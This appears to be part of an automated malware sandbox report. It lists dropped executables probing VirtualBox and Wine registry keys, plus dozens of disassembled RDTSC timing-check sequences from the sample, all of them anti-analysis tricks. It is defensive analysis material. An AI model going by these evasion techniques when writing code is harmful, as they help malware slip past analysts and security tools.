Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15179 second address: A15189 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007FE5C0825166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15189 second address: A1518D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1518D second address: A151B5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FE5C0825172h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE5C082516Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A141A9 second address: A141B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A141B1 second address: A141B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A142EE second address: A14305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b jmp 00007FE5C082521Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1460E second address: A14615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A148F3 second address: A148F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A148F7 second address: A1490D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C082516Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1490D second address: A14942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825222h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FE5C0825218h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 jmp 00007FE5C082521Eh 0x0000001a pushad 0x0000001b popad 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14AB6 second address: A14AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C0825170h 0x00000009 js 00007FE5C0825166h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007FE5C0825166h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14AD9 second address: A14ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1782D second address: A17899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jne 00007FE5C0825170h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FE5C0825179h 0x00000018 jmp 00007FE5C0825179h 0x0000001d popad 0x0000001e jmp 00007FE5C082516Fh 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 je 00007FE5C082517Bh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A178E0 second address: A1798E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edi 0x00000007 jnl 00007FE5C0825218h 0x0000000d pop edi 0x0000000e nop 0x0000000f push 00000000h 0x00000011 mov edx, dword ptr [ebp+122D2D11h] 0x00000017 push 452809E5h 0x0000001c jmp 00007FE5C082521Dh 0x00000021 xor dword ptr [esp], 45280965h 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007FE5C0825218h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 push 00000003h 0x00000044 jmp 00007FE5C082521Eh 0x00000049 push 00000000h 0x0000004b movzx edi, ax 0x0000004e push 00000003h 0x00000050 add di, F1BAh 0x00000055 add dword ptr [ebp+122D32C8h], edi 0x0000005b push 99225C82h 0x00000060 jmp 00007FE5C0825225h 0x00000065 add dword ptr [esp], 26DDA37Eh 0x0000006c jmp 00007FE5C082521Ah 0x00000071 lea ebx, dword ptr [ebp+1244C78Ah] 0x00000077 mov dword ptr [ebp+122D2AA4h], edx 0x0000007d xchg eax, ebx 0x0000007e push eax 0x0000007f push edx 0x00000080 push eax 0x00000081 push edx 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1798E second address: A17992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17992 second address: A17998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17AC5 second address: A17B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE5C0825175h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FE5C0825177h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17B02 second address: A17B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+122D2D85h] 0x00000011 lea ebx, dword ptr [ebp+1244C793h] 0x00000017 adc dx, 69AAh 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e jmp 00007FE5C082521Ah 0x00000023 push eax 0x00000024 push edx 0x00000025 ja 00007FE5C0825216h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17B44 second address: A17B57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007FE5C0825170h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17BA5 second address: A17BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17BAB second address: A17BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17BAF second address: A17C02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082521Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007FE5C0825218h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 movsx esi, si 0x0000002b push 00000000h 0x0000002d mov ch, 6Bh 0x0000002f call 00007FE5C0825219h 0x00000034 push eax 0x00000035 push edx 0x00000036 jbe 00007FE5C0825218h 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17C02 second address: A17C5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FE5C0825172h 0x00000011 jmp 00007FE5C082516Bh 0x00000016 popad 0x00000017 jne 00007FE5C082516Ch 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 pushad 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 je 00007FE5C0825166h 0x0000002c popad 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD62E second address: 9FD638 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE5C082521Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD638 second address: 9FD66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e jmp 00007FE5C082516Fh 0x00000013 jmp 00007FE5C082516Bh 0x00000018 jne 00007FE5C0825166h 0x0000001e popad 0x0000001f pushad 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD66C second address: 9FD672 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A364CC second address: A364D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A364D0 second address: A364D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A364D4 second address: A364E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnl 00007FE5C0825166h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3662F second address: A36634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36634 second address: A3663A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A368BE second address: A368CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 ja 00007FE5C0825216h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CA0 second address: A36CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5C082516Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CB1 second address: A36CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FE5C0825216h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36CC2 second address: A36CD0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE5C0825166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36E5A second address: A36E86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jng 00007FE5C0825233h 0x0000000b jl 00007FE5C0825216h 0x00000011 jmp 00007FE5C0825227h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36E86 second address: A36E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36FB2 second address: A36FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36FB6 second address: A36FCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825170h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36FCA second address: A36FF1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE5C082521Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FE5C082521Eh 0x00000010 jl 00007FE5C0825222h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F821 second address: A2F83A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE5C0825170h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF009 second address: 9FF013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF013 second address: 9FF026 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C082516Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF026 second address: 9FF030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE5C0825216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FF030 second address: 9FF036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A376B4 second address: A376BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37E12 second address: A37E29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007FE5C0825166h 0x0000000f js 00007FE5C0825166h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37E29 second address: A37E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A380E5 second address: A380F0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007FE5C0825166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3A584 second address: A3A5A3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE5C0825216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FE5C0825220h 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D910 second address: A3D914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D914 second address: A3D91A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D91A second address: A3D932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5C082516Ah 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3D932 second address: A3D936 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DB2E second address: A3DB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DB34 second address: A3DB6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 ja 00007FE5C0825216h 0x0000000f pop eax 0x00000010 pop esi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jnl 00007FE5C0825224h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FE5C082521Bh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DB6C second address: A3DB8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DC56 second address: A3DC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DC5A second address: A3DC64 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DC64 second address: A3DC68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4372B second address: A43768 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FE5C0825175h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f jnp 00007FE5C0825168h 0x00000015 push edx 0x00000016 pop edx 0x00000017 popad 0x00000018 pushad 0x00000019 je 00007FE5C082516Ch 0x0000001f jo 00007FE5C0825166h 0x00000025 js 00007FE5C082516Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43A3A second address: A43A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43A44 second address: A43A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5C0825177h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44013 second address: A44017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44017 second address: A44023 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 ja 00007FE5C0825166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46129 second address: A46142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5C0825225h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46142 second address: A46164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5C0825176h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46654 second address: A4665B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E0C second address: A46E27 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FE5C0825168h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jne 00007FE5C0825166h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E27 second address: A46E2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E2C second address: A46E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46E31 second address: A46E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A470AC second address: A470B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A473E5 second address: A473EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A473EA second address: A47425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FE5C0825168h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 xor dword ptr [ebp+122D32F3h], edx 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f pop edx 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4808C second address: A4809F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE5C082521Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49321 second address: A49398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FE5C0825174h 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 jmp 00007FE5C082516Eh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push eax 0x0000001e call 00007FE5C0825168h 0x00000023 pop eax 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc eax 0x00000031 push eax 0x00000032 ret 0x00000033 pop eax 0x00000034 ret 0x00000035 push 00000000h 0x00000037 mov edi, 43A4368Dh 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 jmp 00007FE5C082516Fh 0x00000045 jmp 00007FE5C082516Dh 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A49398 second address: A4939E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4939E second address: A493A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A493A2 second address: A493A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
